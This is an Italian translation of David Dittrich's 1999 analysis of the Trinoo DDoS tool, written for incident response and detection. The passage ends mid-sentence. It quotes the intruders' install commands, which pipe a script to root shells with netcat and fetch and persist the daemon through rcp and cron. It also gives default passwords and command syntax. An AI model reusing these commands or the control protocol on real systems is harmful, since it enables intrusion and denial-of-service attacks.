Docs - traduzioni
Tutorial di David Dittrich su Trinoo
 

====================================================================================
"Trinoo" strumento di attacco per il diniego di servizio distribuito del DoS Project
====================================================================================

David Dittrich<dittrich@cac.washington.edu>
University of Washington
Copyright 1999. All rights reserved.
October 21, 1999

***     Tradotto dal LOA ( http://www.ecn.org/loa )      ***


Introduzione
------------

La seguente e' un'analisi dei programmi master/slave "trinoo" (conosciuto
anche come "trin00")  del Progetto DoS, che implementano uno strumento per
il diniego di servizio su rete distribuita.

ALcuni demoni trinoo sono stati originariamente trovati in forma binaria in un
numero di sistemi Solaris 2.x, che erano stati identificati come compromessi
con exploit di bug di buffer overrun nei servizi RPC "statd" "cmsd" e
"ttdbserverd" Questi attacchi sono descritti in una Nota Incidenti CERT:

        http://www.cert.org/incident_notes/IN-99-04.html

Originariamente si credeva che i demoni trinoo fossero shell a comando remoto
con accesso riservato, basati su UDP, forse usati insieme a sniffer per
il recupero automatico automatico di log di sniffer.

Durante l'analisi di queste intrusioni, l'installazione di una rete trinoo fu
colta sul fatto e il codice sorgente di trinoo fu ottenuto dall'account usato
per nascondere gli strumenti dell'intrusore e i log.
Questa analisi e' stata effettuata usando questo codice sorgente recuperato.

Eventuali modifiche del codice sorgente potrebbero cambiare qualunque dei
dettagli di queste analisi, come prompt, password, comandi, numeri di porte
TCP/UDP, metodi di attacco supportati, firme e features.

Il demone e' stato compilato ed eseguito su sistemi Solaris 2.5.1 e Linux
Red Hat 6.0. Si crede che sia il demone e il master siano stati osservati in
azione su queste stesse piattaforme.

Reti trinoo stanno probabilmente venendo installate su centinaia, forse migliaia
di sistemi su internet che stanno venendo compromessi con exploit di buffer
overrun. L'accesso a questi sistemi sta probabilmente venendo perpetuato
mediante l'istallazione di "back door" multiple insieme a ai demoni trinoo.

Una rete di almeno 227 sistemi, -- 114 di questi su siti Internet2 -- fu usato
il 17 agosto 1999 per flooddare un singolo sistema nell Universita' del
Minnesota, inondando la rete bersaglio e rendendola inutilizzabile per piu'
di due giorni. Durante la risposta a a questo attacco, ampi flussi sono anche
riportati verso almeno altri sedici sistemi, alcuni al di fuori degli Stati
Uniti (Vedi l'appndice D per una parte del resoconto di questi attacchi trinoo.)

Scenario d'attacco
------------------

Una istallazione tipica potrebbe essere qualcosa di simile a questo.
							
  1. Un account rubato e' installato come deposito di versioni precompilate di strumenti di scanning, strumenti di attacco (ad es. exploit di buffer overrun), root kits e sniffer, demoni trinoo e programmi master, liste di host vulnerabili e host precedentemente compromessi, etc. Questo potrebbe normalmente essere un ampio sistema con molti utenti, con una scarsa supervisione amministrativa, e una connessione ad ampia banda per un veloce trasferimento di file.
  2. Uno scan viene effettuato su un ampio raggio di blocchi di sistemi per identificare bersagli potenziali. Fra i bersagli potrebbero essere inclusi sistemi che su cui girano vari servizi conosciuti per avere bugs di sicurezza exploitabili da remoto mediante buffer overflow, come wu-ftpd servizi RPC per "cmsd", "statd", "ttdbserverd", "amd", etc. I sistemi bersaglio sembrano essere primariamente Sun Solaris 2.x e Linux (a causa della pronta disponibilita' di sniffer di sistema e "root kits" per nascondere backdoors, etc.) ma account rubati su qualunque architettura possono essere usati per nascondere strumenti e file di log.
  3. Una lista di sistemi vulnerabili e' quindi usata per creare uno script che effettua l'exploit, installa una shell che gira sotto l'account di root e che rimane in ascolto su una porta TCP (solitamente 1524/tcp, la porta di ingresso "ingreslock"), e si connette a questa porta per confermare il successo dell'exploit. In alcuni casi, un messaggio di posta elettronica e' inviato ad un account su un servizio di email freeweb per confermare quali sistemi sono stati compromessi. Il risultato e' una lista di sistemi "controllati" pronti per l'istallazione di backdoors, sniffer, o il demone o il master di trinoo.
  4. Da questa lista di sistemi compromessi, sottoinsiemi con l'architettura desiderata vengono scelti per la rete trinoo. Binari precompilati del demone trinoo vengono creati e conservati su di un account rubato da qualche parte sull'Internet.
  5. Viene quindi lanciato uno script che prende questa lista di sistemi "controllati" e produce un ulteriore script per automatizzare il processo di installazione lanciando ogni installazione in background per il massimo multitasking. Questo script usa "netcat" ("nc") per mettere in pipe uno script di shell alla shell di root in ascolto, in questo caso, sulla porta 1524/tcp: --------------------------------------------------------------------------- ./trin.sh | nc 128.aaa.167.217 1524 & ./trin.sh | nc 128.aaa.167.218 1524 & ./trin.sh | nc 128.aaa.167.219 1524 & ./trin.sh | nc 128.aaa.187.38 1524 & ./trin.sh | nc 128.bbb.2.80 1524 & ./trin.sh | nc 128.bbb.2.81 1524 & ./trin.sh | nc 128.bbb.2.238 1524 & ./trin.sh | nc 128.ccc.12.22 1524 & ./trin.sh | nc 128.ccc.12.50 1524 & . . . --------------------------------------------------------------------------- Lo script "trin.sh", il cui output viene inviato a questi sistemi e' tipo: --------------------------------------------------------------------------- echo "rcp 192.168.0.1:leaf /usr/sbin/rpc.listen" echo "echo rcp is done moving binary" echo "chmod +x /usr/sbin/rpc.listen" echo "echo launching trinoo" echo "/usr/sbin/rpc.listen" echo "echo \* \* \* \* \* /usr/sbin/rpc.listen > cron" echo "crontab cron" echo "echo launched" echo "exit" --------------------------------------------------------------------------- A seconda di quanto attentamente i file crontab vengono monitorati o se vengono usati addirittura, questo puo' essere individuato facilmente. Se cron non viene usato del tutto da questo utente (solitamente root), questo potrebbe non essere individuato del tutto. Un metodo e' stato individuato su almeno un altro sistema, dove il demome era stato chiamato "xterm", ed e' stato mediante uno script (chiamato "c" nel sistema in cui e' stato individuato) che contiene: --------------------------------------------------------------------------- cd /var/adm/.1 PATH=.:$PATH export PATH xterm 1>/dev/null 2>&1 --------------------------------------------------------------------------- Teoricamente questo implicherebbe un metodo per lanciare a richiesta questo script per installare la rete trinoo. Metodi ancora piu' raffinati per rimanere i demoni/master di trino in attesa di esecuzione in un momento determinato sono facili da immaginare (ad es. shell client/server UDP o ICMP, come LOKI (vedi appendice C), programmi che si attivano periodicamente e aprono una porta TCP o UDP in ascolto, etc.) Il risultato di questa automazione e' l'abilita' degli attaccanti di installare la rete per il denial of service, su sistemi molto dispersi i cui veri possessori nenche sanno essere fuori dal loro controllo, in un breve periodo di tempo.
  6. Opzionalmente un "root kit" viene installato sul sistema per nascondere la presenza di programmi, file, e connessioni di rete. Questo e' piu' importante sul sistema master, perche' questi sistemi sono la chiave pere la rete trinoo. (Bisogna notare che in molti casi, i master sono stati installati sui nameserver primari di Internet Service Providers, che normalmente hanno un traffico di pacchetti estremamente alto e un grande numero di connessioni TCP e UDP, che agli effetti nasconde ogni traffico o attivita' riferibile a trinoo, che non viene individuata.(Il fatto di essere name server primari tende anche a rendere i loro gestori meno propensi a sconnettere da internet il sistema quando cominciano ad arrivare resoconti riguardo una sospetta attivita' di denial of service.) Root kits potrebbero anche venir usati su sistemi che fanno girare sniffer che, uniti a programmi come "hunt" (strumenti di hijacking di sessioni TCP/IP) sono usati per ***borrowfurther direttamente in altri networks, invece che attraverso exploit di buffer overrun da remoto (ad es., per trovare siti per preparare nuovi depositi di file, etc.) Per ulteriori informazioni sui "root kits" e sui modi di aggirarli, vedi: http://staff.washington.edu/dittrich/misc/faqs/rootkits.faq
La rete: attaccante/i-->master-->demone/i-->vittima/e ----------------------------------------------------- La rete trinoo e' costituita da un server "master" ("master.c") e il demone trinoo ("ns.c"). Una rete trinoo appare cosi': +-----------+ +-----------+ | attaccante| | attacante | +-----------+ +-----------+ | | . . . --+------+---------------+------+----------------+-- . . . | | | | | | +----------+ +----------+ +----------+ | master | | master | | master | +----------+ +----------+ +----------+ | | | | | | . . . ---+------+-----+------------+---+--------+------------+-+-- . . . | | | | | | | | | | +--------+ +--------+ +--------+ +--------+ +--------+ | demone | | demone | | demone | | demone | | demone | +--------+ +--------+ +--------+ +--------+ +--------+ L'attaccante/i controlla uno o piu' server "master", ciascuno dei quali puo' controllare molti "demoni" (nominati nel codice come host "Bcast" o "broadcast"). Tutti i demoni sono istruiti per coordinare un attacco a pacchetti contro uno o piu' sistemi vittima. Tutto cio' che e' necessario per intraprendere attacchi di tipo denial of service massicci e coordinati e' la capacita' di stabilire una connassione TCP con l'host "master" e la password per il server "master". Porte di comunicazione ---------------------- Attaccante verso il/i Master: 27665/tcp Master verso il/i demone/i: 27444/udp Demone verso il/i Master: 31335/udp Il controllo remoto del master trinoo e' compiuto con una connessione tcp alla porta 27665/tcp. Dopo la connessione, l'utente deve fornine la password corretta ("betaalmostdone"). Se un'altra connessione al server viene effettuata mentre qualcuno e' gia' autenticato, viene loro inviato un messaggio di avviso con l'indirizzo ip dell'host che si connette (pare ci sia un bug che riporta indirizzi ip non corretti, ma un avviso viene comunque comunicato). Questo verra' indubbiamente corretto e dara' quindi agli attaccanti il tempo di ripulire e coprire le proprie tracce. La comunicazione dal master trinoo ai demoni avviene per mezzo di pacchetti UDP sulla porta 27444/udp. Le linee di comando sono linee separate da spazi sul modello di: arg1 password arg2 La password di default per i comandi e' "l44adsl", e solo le linee di comando contenenti la stringa "l44" vengono processate. La forma di comunicazione dai demoni trinoo e dal master avviene per mezzo di pacchetti UDP sulla porta 31335/udp. Quando il demone parte, inizialmente invia un "*HELLO*" al master, che mantiene una lista di demoni attivi da lui controllati (pacchetto catturato usando "sniffit"): UDP Packet ID (from_IP.port-to_IP.port): 192.168.0.1.32876-10.0.0.1.31335 45 E 00 . 00 . 23 # B1 . 5D ] 40 @ 00 . F8 . 11 . B9 . 27 . C0 . A8 . 00 . 01 . 0A . 00 . 00 . 01 . 80 . 6C l 7A z 67 g 00 . 0F . 06 . D4 . 2A * 48 H 45 E 4C L 4C L 4F O 2A * Se il master trinoo invia un comando "png" ad un demone sulla porta 27444/udp, il demone rispondera' al server che ha inviato il comando "png" inviando la stringa "PONG" sulla porta 31335/udp: UDP Packet ID (from_IP.port-to_IP.port): 10.0.0.1.1024-192.168.0.1.27444 45 E 00 . 00 . 27 ' 1A . AE . 00 . 00 . 40 @ 11 . 47 G D4 . 0A . 00 . 00 . 01 . C0 . A8 . 00 . 01 . 04 . 00 . 6B k 34 4 00 . 13 . 2F / B7 . 70 p 6E n 67 g 20 6C l 34 4 34 4 61 a 64 d 73 s 6C l UDP Packet ID (from_IP.port-to_IP.port): 192.168.0.1.32879-10.0.0.1.31335 45 E 00 . 00 . 20 13 . 81 . 40 @ 00 . F8 . 11 . 57 W 07 . C0 . A8 . 00 . 01 . 0A . 00 . 00 . 01 . 80 . 6F o 7A z 67 g 00 . 0C . 4E N 24 $ 50 P 4F O 4E N 47 G Password protection ------------------- Tanto il master quanto i demoni sono protetti con password per prevenire che gli amministratori di sistema (o altri gruppi hacker) siano in grado di prendere il controllo della rete trinoo. Queste password sono password in stile crypt(). Sono usate in maniera simmetrica, dove la password crittata e' compilata all'interno del master e dei demoni e viene usata per compararla con la versione in chiaro della password che viene inviata sulla rete (la versione attuale non cripta la sessione corrente, cosi' le password in chiaro sono esposte nel transito e le sessioni di controllo del master sono soggette ad highjacking di sessioni TCP) Appena lanciato, il demone master produce un prompt, in attesa di una password. se la password corretta non viene ricevuta, il programma termina. Se viene fornita la password corretta, il processo annuncia la sua esecuzione, forka per continuare a girare in background e termina: # ./master ?? wrongpassword # . . . # ./master ?? gOrave trinoo v1.07d2+f3+c [Sep 26 1999:10:09:24] # Allo stesso modo, anche quando ti connetti alla porta per il controllo da remoto (default porta 27665/tcp) devi fornire una password: attacker$ telnet 10.0.0.1 27665 Trying 10.0.0.1 Connected to 10.0.0.1 Escape character is '^]'. kwijibo Connection closed by foreign host. . . . attacker$ telnet 10.0.0.1 27665 Trying 10.0.0.1 Connected to 10.0.0.1 Escape character is '^]'. betaalmostdone trinoo v1.07d2+f3+c..[rpm8d/cb4Sx/] trinoo> Anche alcuni comandi inviati al demone trinoo dal master sono protetti da password. Questa password e' inviata in chiaro fra il master e il demone. Le password di default sono: "l44adsl" password del demone trinoo "gOrave" avvio del trinoo master server (prompt "?? ") "betaalmostdone" password dell'interfaccia da remoto del master trinoo "killme" password del master trinoo per il controlllo del comando "mdie" Comandi del master ------------------ Il master trinoo supporta i seguanti comandi: die Termina il master quit Disconnette dal master mtimer N Setta il timer Dos a N secondi. N puo' essere compreso fra 1 e 1999 secondi. Se N e' < 1 default a 300. Se N e' > 2000, defoult a 500. dos IP DoS all'indirizzo ip specificato. Un comando "aaa l44asdl IP viene inviato a ciascun host Bcast (cioe' demoni trinoo) dicendo loro di DoSsare l'indirizzo ip specificato. mdie pass Disabilita tutti gli host Bcast, se viene specificata la corretta password. Viene inviato un comando ("d1e l44adsl") a ciascun host Bcast dicendogli di terminare. Una password specifica e' necessaria per questo comando. mping Invia un comando PING ("png l44adsl"( ad ogni host Bcast attivo. mdos <ip1:ip2:ip3> Dos multiplo. Invia un comando DoS multiplo ("xyz l44adsl 123:ip1:ip2:ip3") a ciascun host Bcast. info Restituisce informazione sulla versione e la compilazione: This is the "trinoo" AKA DoS Project master server version v1.07d2+f3+c Compiled 15:08:41 Aug 16 1999 msize Setta la dimensione del buffer per i pacchetti inviati durante gli attacchi DoS. nslookup host Esegue un name service lookup dell'host specificato dalla prospettiva dell'host sul quale il server "master" e' in esecuzione. killdead Tenta di eliminare tutti gli host bcast morti prima inviando a tutti gli host Bcast conosciuti un comando ("shi l44adsl") che porta qualunque demone attivo a rispondere con la stringa "*HELLO*" iniziale, quindi rinomina il file Bcast (con estensione "-b") cosi' che sia reinizializzato quando i pacchetti "*HELLO*" vengono ricevuti. usebackup Passa al file Bcast di backup creato dal comando "killdead". bcast Lista tutti gli host Bcast attivi. help [cmd] Da' una lista dei comandi (parziale) o una breve descrizione del comando "cmd" se specificato. mstop Tenta di arrestare un attacco DoS (non implementato ma incluso nel comando di help). Comandi del demone ------------------ Il demone trinoo supporta i seguenti comandi: aaa pass IP Esegua un DoS sullo specificato indirizzo IP. Invia pacchetti UDP a porte UDP casuali (0-65534) sull'indirizzo IP specificato per un periodo di tempo (default 120 secondi, or 1 - 1999 secondi come impostato dal comando "bbb".) Le dimensioni dei pacchetti sono quelle impostate dal comando "rsz" o la dimensione di default di 1000 byte. bbb pass n Imposta il tempo-limite (in secondi) per gli attacchi DoS. shi pass Invia la stringa "*HELLO*" alla lista di server "master" compilata nel programma alla porta 31335/udp. png pass Invia la stringa "PONG" sulla porta 31335/udp al master che ha inviato il comando. d1e pass Arresta il demone trinoo. rsz N Imposta la dimensione del buffer per gli attacchi DoS a N byte. (Il demone trinoo semplicemente alloca con malloc() un buffer di queste dimensioni, poi invia il contenuto non inizializzato di questo buffer durante un attacco.) xyz pass 123:ip1:ip2:ip3 DoS multipli. Fa la stessa cosa del comando "aaa", ma per indirizzi IP multipli. Potrebbe essere una coincidenza, ma daro' credito all'autore e ipotizzo che i comandi di tre lettere siano stati scelti in modo da non mostrarsi nel binario come stringhe visibili con il funzionamento di default di STRINGS(1). Bisogna usare l'opzione "--bytes=3" di GNU STRINGS(1) per vedere i comandi: # strings --bytes=3 ns | tail -15 socket bind recvfrom l44 %s %s %s aIf3YWfOhw.V. aaa bbb shi png PONG d1e rsz xyz *HELLO* Fingerprints ------------ Il metodo usato per istallare il demone trinoo utilizza un'entry nel crontab per lanciare il demone ogni minuto. L'esame del crontab potrebbe individuare questa entry: * * * * * /usr/sbin/rpc.listen Il programma master crea un file (nome di default "...") che contiene l'elenco degli host di Bcast. Se il comando "killdead" viene usato, viene inviato a tutti i demoni elencati in "..." un comando "shi" che li porta a inviare la stringa iniziale "*HELLO*" a tutti i master. La lista attuale viene rinominata (default "...-b") e una nuova lista viene quindi generata quando ogni demone rimanente invia il suo "*HELLO*". Il codice sorgente ("master.c") contiene le seguenti linee: ------------------------------------------------------------------------------ . . . /* crypt key encrypted with the key 'bored'(so hex edit cannot get key easily?) comment out for no encryption... */ #define CRYPTKEY "ZsoTN.cq4X31" . . . ------------------------------------------------------------------------------ Se il programma e' stato compilato con CRYPTKEY definito, gli indirizzi IP degli host Bcast vengono criptati usando l'algoritmo di criptazione Blowfish: # ls -l ... ...-b -rw------- 1 root root 25 Sep 26 14:46 ... -rw------- 1 root root 50 Sep 26 14:30 ...-b # cat ... JPbUc05Swk/0gMvui18BrFH/ # cat ...-b aE5sK0PIFws0Y0EhH02fLVK. JPbUc05Swk/0gMvui18BrFH/ Ipotizzando che non ci sia presente un "root kit" a nascondere i processi, il server "master" mostre i seguenti network socket fingerprints (ovviamente, i nomi e le posizioni delle directory di entrambi i programmi sono soggetti a cambiamenti): ------------------------------------------------------------------------------ # netstat -a --inet Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 0 *:27665 *:* LISTEN . . . udp 0 0 *:31335 *:* . . . # lsof | egrep ":31335|:27665" master 1292 root 3u inet 2460 UDP *:31335 master 1292 root 4u inet 2461 TCP *:27665 (LISTEN) # lsof -p 1292 COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME master 1292 root cwd DIR 3,1 1024 14356 /tmp/... master 1292 root rtd DIR 3,1 1024 2 / master 1292 root txt REG 3,1 30492 14357 /tmp/.../master master 1292 root mem REG 3,1 342206 28976 /lib/ld-2.1.1.so master 1292 root mem REG 3,1 63878 29116 /lib/libcrypt-2.1.1.so master 1292 root mem REG 3,1 4016683 29115 /lib/libc-2.1.1.so master 1292 root 0u CHR 4,1 2967 /dev/tty1 master 1292 root 1u CHR 4,1 2967 /dev/tty1 master 1292 root 2u CHR 4,1 2967 /dev/tty1 master 1292 root 3u inet 2534 UDP *:31335 master 1292 root 4u inet 2535 TCP *:27665 (LISTEN) ------------------------------------------------------------------------------ Un sistema con il demone in esecuzione mostrerebbe cio che segue: ------------------------------------------------------------------------------ # netstat -a --inet Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State . . . udp 0 0 *:1024 *:* udp 0 0 *:27444 *:* . . . # lsof | egrep ":27444" ns 1316 root 3u inet 2502 UDP *:27444 # lsof -p 1316 COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME ns 1316 root cwd DIR 3,1 1024 153694 /tmp/... ns 1316 root rtd DIR 3,1 1024 2 / ns 1316 root txt REG 3,1 6156 153711 /tmp/.../ns ns 1316 root mem REG 3,1 342206 28976 /lib/ld-2.1.1.so ns 1316 root mem REG 3,1 63878 29116 /lib/libcrypt-2.1.1.so ns 1316 root mem REG 3,1 4016683 29115 /lib/libc-2.1.1.so ns 1316 root 0u CHR 4,1 2967 /dev/tty1 ns 1316 root 1u CHR 4,1 2967 /dev/tty1 ns 1316 root 2u CHR 4,1 2967 /dev/tty1 ns 1316 root 3u inet 2502 UDP *:27444 ns 1316 root 4u inet 2503 UDP *:1024 ------------------------------------------------------------------------------ Difese ------ Ovviamente, la miglior difesa e' in primo luogo prevenire intrusioni e compromissioni a livello root dei propri sistemi, cosi' non ci sarebbero sistemi su cui installare demoni o master trinoo. In un mondo ideale tutti i sistemi sarebbero patchati, protetti, monitorati, sistemi di rilevamento di intrusioni e firewalls sarebbero in grado di individuare e rifiutare pacchetti, e io sarei un multimiliardario che vive sei mesi l'anno su una spiaggia di Bali e sei mesi sulle Alpi Francesi. Nel mondo reale non c'e' questa posiibilita' (almeno nel futuro prevedibile.) Al contrario, il tuo network potrebbe avere gia' alcuni demoni trinoo in esecuzione e pronti a DoSsare altri sistemi in ogni momento. Come possono essere individuati o disabilitati? Sicco me i programmi usano porte UDP con alti numeri sia per la comunicazione che l'attacco, sarebbe molto difficile (se non impossibile) bloccarli senza interrompere i programmi che usano UDP su porte con alti numeri. Il metodo piu' semplice per individuare la presenza di master e demoni trinoo puo' essere quello di di monitorare tutti i pacchetti UDP su segmenti condivisi di ethernet e cercare segni di comunicazione fra il/i master e il/i demone/i come descritto altrove in questo documento. (Switch potrebbero precludere la possibilita' di vedere pacchetti UDP che non siano associati all'indirizzo MAC dell'interfaccia di rete dell'host che monitora.) Sfortunatamente, questo potrebbe succedere solo durante un attacco, che sarebbe probabilmente individuato dalla degradazione del throughput del network e/o gli avvisi di attacco denial of service dai siti vittima. Se si sospetta che un sistema ospiti un demone trinoo che sta attaccando attivamente, l'output del programma Solaris "truss" sul demone in esecuzione mostrerebbe un output del tipo: ------------------------------------------------------------------------------ . . . getmsg(3, 0xEFFFF830, 0xEFFFF83C, 0xEFFFF81C) = 0 getmsg(3, 0xEFFFF830, 0xEFFFF83C, 0xEFFFF81C) (sleeping...) getmsg(3, 0xEFFFF830, 0xEFFFF83C, 0xEFFFF81C) = 0 time() = 938385467 open("/dev/udp", O_RDWR) = 5 ioctl(5, I_PUSH, "sockmod") = 0 ioctl(5, I_STR, 0xEFFFF748) = 0 ioctl(5, I_SETCLTIME, 0xEFFFF7FC) = 0 ioctl(5, I_SWROPT, 0x00000002) = 0 sigprocmask(SIG_SETMASK, 0xEFFFF7EC, 0xEFFFF7DC) = 0 ioctl(5, I_STR, 0xEFFFF660) = 0 sigprocmask(SIG_SETMASK, 0xEFFFF7DC, 0xEFFFF7B8) = 0 sigprocmask(SIG_BLOCK, 0xEFFFF548, 0xEFFFF5C0) = 0 ioctl(5, I_STR, 0xEFFFF548) = 0 sigprocmask(SIG_SETMASK, 0xEFFFF5C0, 0x00000000) = 0 putmsg(5, 0xEFFFF83C, 0xEFFFF7A0, 0) = 0 time() = 938385467 putmsg(5, 0xEFFFF83C, 0xEFFFF7A0, 0) = 0 time() = 938385467 putmsg(5, 0xEFFFF83C, 0xEFFFF7A0, 0) = 0 time() = 938385467 putmsg(5, 0xEFFFF83C, 0xEFFFF7A0, 0) = 0 time() = 938385467 putmsg(5, 0xEFFFF83C, 0xEFFFF7A0, 0) = 0 time() = 938385467 putmsg(5, 0xEFFFF83C, 0xEFFFF7A0, 0) = 0 time() = 938385467 putmsg(5, 0xEFFFF83C, 0xEFFFF7A0, 0) = 0 time() = 938385467 putmsg(5, 0xEFFFF83C, 0xEFFFF7A0, 0) = 0 time() = 938385467 putmsg(5, 0xEFFFF83C, 0xEFFFF7A0, 0) = 0 time() = 938385467 putmsg(5, 0xEFFFF83C, 0xEFFFF7A0, 0) = 0 time() = 938385467 . . . ------------------------------------------------------------------------------ Il traffico sulla rete durante un attacco contro un singolo bersaglio (osservato con "tcpdump") aparirebbe cosi': ------------------------------------------------------------------------------ # tcpdump ip host 192.168.0.1 . . . 15:40:08.491782 10.0.0.1.1024 > 192.168.0.1.27444: udp 25 15:40:08.574453 192.168.0.1.32885 > 216.160.XX.YY.16838: udp 4 (DF) 15:40:08.576427 192.168.0.1.32885 > 216.160.XX.YY.5758: udp 4 (DF) 15:40:08.579752 192.168.0.1.32885 > 216.160.XX.YY.10113: udp 4 (DF) 15:40:08.583056 192.168.0.1.32885 > 216.160.XX.YY.17515: udp 4 (DF) 15:40:08.600948 192.168.0.1.32885 > 216.160.XX.YY.31051: udp 4 (DF) 15:40:08.604943 192.168.0.1.32885 > 216.160.XX.YY.5627: udp 4 (DF) 15:40:08.610886 192.168.0.1.32885 > 216.160.XX.YY.23010: udp 4 (DF) 15:40:08.614202 192.168.0.1.32885 > 216.160.XX.YY.7419: udp 4 (DF) 15:40:08.615507 192.168.0.1.32885 > 216.160.XX.YY.16212: udp 4 (DF) 15:40:08.616854 192.168.0.1.32885 > 216.160.XX.YY.4086: udp 4 (DF) 15:40:08.618827 192.168.0.1.32885 > 216.160.XX.YY.2749: udp 4 (DF) 15:40:08.623480 192.168.0.1.32885 > 216.160.XX.YY.12767: udp 4 (DF) 15:40:08.625458 192.168.0.1.32885 > 216.160.XX.YY.9084: udp 4 (DF) 15:40:08.628764 192.168.0.1.32885 > 216.160.XX.YY.12060: udp 4 (DF) 15:40:08.632090 192.168.0.1.32885 > 216.160.XX.YY.32225: udp 4 (DF) . . . ------------------------------------------------------------------------------ Debolezze --------- La prima debolezza e' che le password criptate con cript(), e alcuni prompt e stringhe di risposta, sono visibili nelle immagini binarie sia del master che del demone. Quasto puo' consentire di individuare se si e' scoperto un master o un demone, determinare se le password sono i defoult mostrati in questo documento oppure no, e potenzialmente permettere di exploitare la debolezza della password per prendere il controllo di parte o tutta la rete trinoo. Se il codice sorgente e' stato modificato, (e indubbiamente lo sara' da parte degli attaccanti piu' abili), potresti avere bisogno di crackare le password o usare un editor esadecimale/ASCII (ad es. "xxd", parte della editor suite VIM) e cambiarle nell immagine binaria, allo scopo di, per esempio, eseguire il master per ottenere la lista dei demoni. Se il sorgente non e' stato modificato, lo si puo' determinare osservando le stringhe compilate nel binario del programma ------------------------------------------------------------------------------ # strings - ns . . . socket bind recvfrom %s %s %s aIf3YWfOhw.V. <=== password "l44adsl" criptata con crypt() PONG *HELLO* . . . # strings - master . . . ---v v1.07d2+f3+c trinoo %s l44adsl <=== versione in chiaro della password del demone sock 0nm1VNMXqRMyM <=== password "g0rave" criptata con crypt() 10:09:24 Sep 26 1999 trinoo %s [%s:%s] bind read *HELLO* ZsoTN.cq4X31 <=== CRYPTKEY bored NEW Bcast - %s PONG PONG %d Received from %s Warning: Connection from %s beUBZbLtK7kkY <=== password "betaalmostdone" criptata con crypt() trinoo %s..[rpm8d/cb4Sx/] . . . DoS: usage: dos <ip> DoS: Packeting %s. aaa %s %s mdie ErDVt6azHrePE <=== password per il comando "mdie" criptata con crypt() mdie: Disabling Bcasts. d1e %s mdie: password? . . . ------------------------------------------------------------------------------. Seconda e piu' vulnerabile e' la password del demone, che viaggia sul network in chiaro. Ipotizzando di conoscere la porta UDP su cui il master comunica col client, e' possibile catturare la password usando "sniffit", "ngrep", "tcpdump", o qualunque programma di monitoraggio network capace di mostrare i data payloads dei pacchetti UDP (vedi Appendice A per una sessione di esempio loggata con "ngrep") Per esempio, questo e' il comando "png" inviato al demone trinoo visto con "sniffit": UDP Packet ID (from_IP.port-to_IP.port): 10.0.0.1.1024-192.168.0.1.27444 45 E 00 . 00 . 27 ' 1A . AE . 00 . 00 . 40 @ 11 . 47 G D4 . 0A . 00 . 00 . 01 . C0 . A8 . 00 . 01 . 04 . 00 . 6B k 34 4 00 . 13 . 2F / B7 . 70 p 6E n 67 g 20 6C l 34 4 34 4 61 a 64 d 73 s 6C l Come riportato prima, il comando "mdie" nel master trinoo e' protetto da password nel master stesso. ci sono vari modi per attaccare questo. Riuscendo a determinare la stringa criptata con cript() usando il comando Unix "strings" si potrebbe "teoricamente" usare un'utility per il crack delle password, come "crack" e romperla (vedi Appendice C). Questo puo' richiedere MOLTO tempo se la password e' stata scelta bene ma e' fattibile (e la password "killme" per il comando "mdie" e' stata rotta in meno di 30 secondi su di un PentiumII). Si potrebbe tentare di sniffare la password sul cavo fra l'attaccante e il master, ma presumibilmente questo comando non verrebbe usato spesso dall'attaccante, perche' vuole che il demone sia attivo quando necessario per un attacco. Si potrebbe avere maggiore fortuna sniffando la password del demone, visto che e' necessaria per la maggior parte dei comandi. Questo puo' essere fatto sia sulla rete del demone che del master (solitamente questi sono reti totalmente differenti) Dovrebbe essere piu' senplice sulla rete del demone siccome ci sono molti piu' demoni che master. Siccome molti master sono stati trovati su nameserver primari, ci potrebbe presubimilmente essere molto piu' traffico su porte UDP con numeri alti su reti contenenti i master che sulle reti contenenti demoni. (al di fuori della durata dell'attacco denial of service) Inoltre si potrebbe probabilmente trovare molti demoni in un dato sito forse come risultato della scoperta della compromissione del sistema originario. Una volta individuato un demone, si e' anche in possesso della lista di indirizzi ip dei master (usa "strings" per individuarli.) E' necessario contattare immediatamente questi siti e convincerli di esaminare attentamente il sistema ala ricerca di segni di intrusione, con probabili installazioni di "root kit" per rendere questo compito ancora piu' arduo, e tentare di coordinare una risposta. Avendo trovato un master, la lista dei demoni (che includerebbe probabilmente host di molti altri siti) puo' essere ottenuta semplicemente identificando il file che contiene la lista, se non criptato. Se, invece, il file e' criptato, si potrebbe dover decriptare il file criptato con blowfish usando la stessa chiave compilata nel programma o prendere controllo del master e usare il comando "bcast". Se viene individuata una sessione comandi attiva verso un master, che e' una sessione TCP di tipo "telnet", si potrebbe fare hijack sulla sessione usando "hunt" e iniziandooa inviare comandi. Non essendo a conoscenza della password di "mdie" non sarebbe possibile disabilitare tutti i demoni direttamente, ma si potrebbe usare il comando "bcast" e ottenere una lista di tutti (probabilmente si dovrebbe usare il comando "script" per generare una trascrizione della sessione, visto che potrebbe essere una lista molto ampia) Una volta a conoscenza degli indirizzi dei tutti i demoni e la password dei demoni (visibile nell'output di "strings"), si potrebbe quindi inviare la corretta stringa di comando in pacchetti UDP a qualunque sospetto demone trinoo. La creazione e trasmissione di pacchetti UDP puo' essere effettuata con strumenti come LibNet, Spak, the Perl Net::RawIP library, etc.(E' stato sviluppato uno script Perl chiamato "trinot" che usa Net::RawIP per svolgere questo compito. Vedi Appendice B). Siccome l'installazione tipica del demone include un'entry nel crontab che lo avvia ogni minuto, sarebbe necessario ***spray costantemente la propria intera rete per impedire ai demoni di riavviarsi. (questo puo' essere a causa di errori di programmazione che causano crash occasionali dei demoni o puo' essere per ingannare amministratori di sistema che si accorgono e semplicemente uccidono il processo ma non pensano di cercare un'entry del crontab che riavvia i demoni.) I demoni possono anche essere individuati sul proprio network sniffando la porzione dati dei pacchetti UDP alla ricerca delle stringhe "*HELLO*" e "PONG" o qualsiasi stringa di comando stessa (se il sorgente non e' modificato per cambiare queste stringhe, ovviamente.) Il programma ngrep funziona a dovere per questo scopo: ------------------------------------------------------------------------------ # ngrep -i -x "*hello*|pong" udp interface: eth0 (192.168.0.200/255.255.255.0) filter: ip and ( udp ) match: *hello*|pong . . . # U 192.168.0.1:32887 -> 10.0.0.1:31335 2a 48 45 4c 4c 4f 2a *HELLO* ### U 192.168.0.1:32888 -> 10.0.0.1:31335 50 4f 4e 47 PONG U 192.168.0.3:32815 -> 10.0.0.1:31335 50 4f 4e 47 PONG U 192.168.0.5:32798 -> 10.0.0.1:31335 50 4f 4e 47 PONG . . . ------------------------------------------------------------------------------ Sebbene non siano debolezze nel trinoo stesso, ci sono anche debolezze nella maniera in cui le reti trinoo sono installate. Come menzionato prima, 